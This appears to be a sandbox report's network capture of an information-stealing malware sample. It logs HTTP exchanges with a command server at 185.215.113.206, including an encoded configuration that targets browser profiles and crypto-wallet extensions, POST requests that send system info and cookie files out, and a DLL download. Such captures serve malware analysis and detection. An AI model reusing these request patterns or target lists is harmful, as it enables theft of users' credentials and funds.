R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 17, 2024 22:20:19.849942923 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 17, 2024 22:20:19.849965096 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 17, 2024 22:20:19.851718903 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 2d 2d 0d 0a Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="message"plugins------DGDBAKKJKKECGDGCAECA--
Nov 17, 2024 22:20:20.132925034 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 17, 2024 22:20:20.132940054 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 17, 2024 22:20:20.132952929 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 17, 2024 22:20:20.132963896 CET	636	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 17, 2024 22:20:20.133074045 CET	1236	IN	Data Raw: 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 42 38 52 30 46 31 64 47 67 67 51 58 56 30 61 47 56 75 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d Data Ascii: ZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZ
Nov 17, 2024 22:20:20.133133888 CET	1160	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 Data Ascii: IFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGh
Nov 17, 2024 22:20:20.133547068 CET	604	IN	Data Raw: 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d Data Ascii: YWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXw
Nov 17, 2024 22:20:20.134830952 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIEC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 2d 2d 0d 0a Data Ascii: ------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="message"fplugins------KJEHJKJEBGHJJKEBGIEC--
Nov 17, 2024 22:20:20.415570974 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 17, 2024 22:20:20.433201075 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJD Host: 185.215.113.206 Content-Length: 5855 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 22:20:20.433259010 CET	5855	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 Data Ascii: ------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 17, 2024 22:20:21.234566927 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:21.608580112 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 22:20:21.888431072 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 17, 2024 22:20:21.888446093 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49800	185.215.113.206	80	3576	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:20:33.546108007 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGDBAFHJJDAKEBGCFCB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AEGDBAFHJJDAKEBGCFCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEGDBAFHJJDAKEBGCFCB--
Nov 17, 2024 22:20:34.969420910 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:35.088361979 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="file"------CGDGCFBAEGDHJKEBGCBA--
Nov 17, 2024 22:20:35.866847992 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	60797	185.215.113.206	80	3576	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:20:42.718442917 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 22:20:42.718504906 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 17, 2024 22:20:44.124654055 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:44.258584976 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 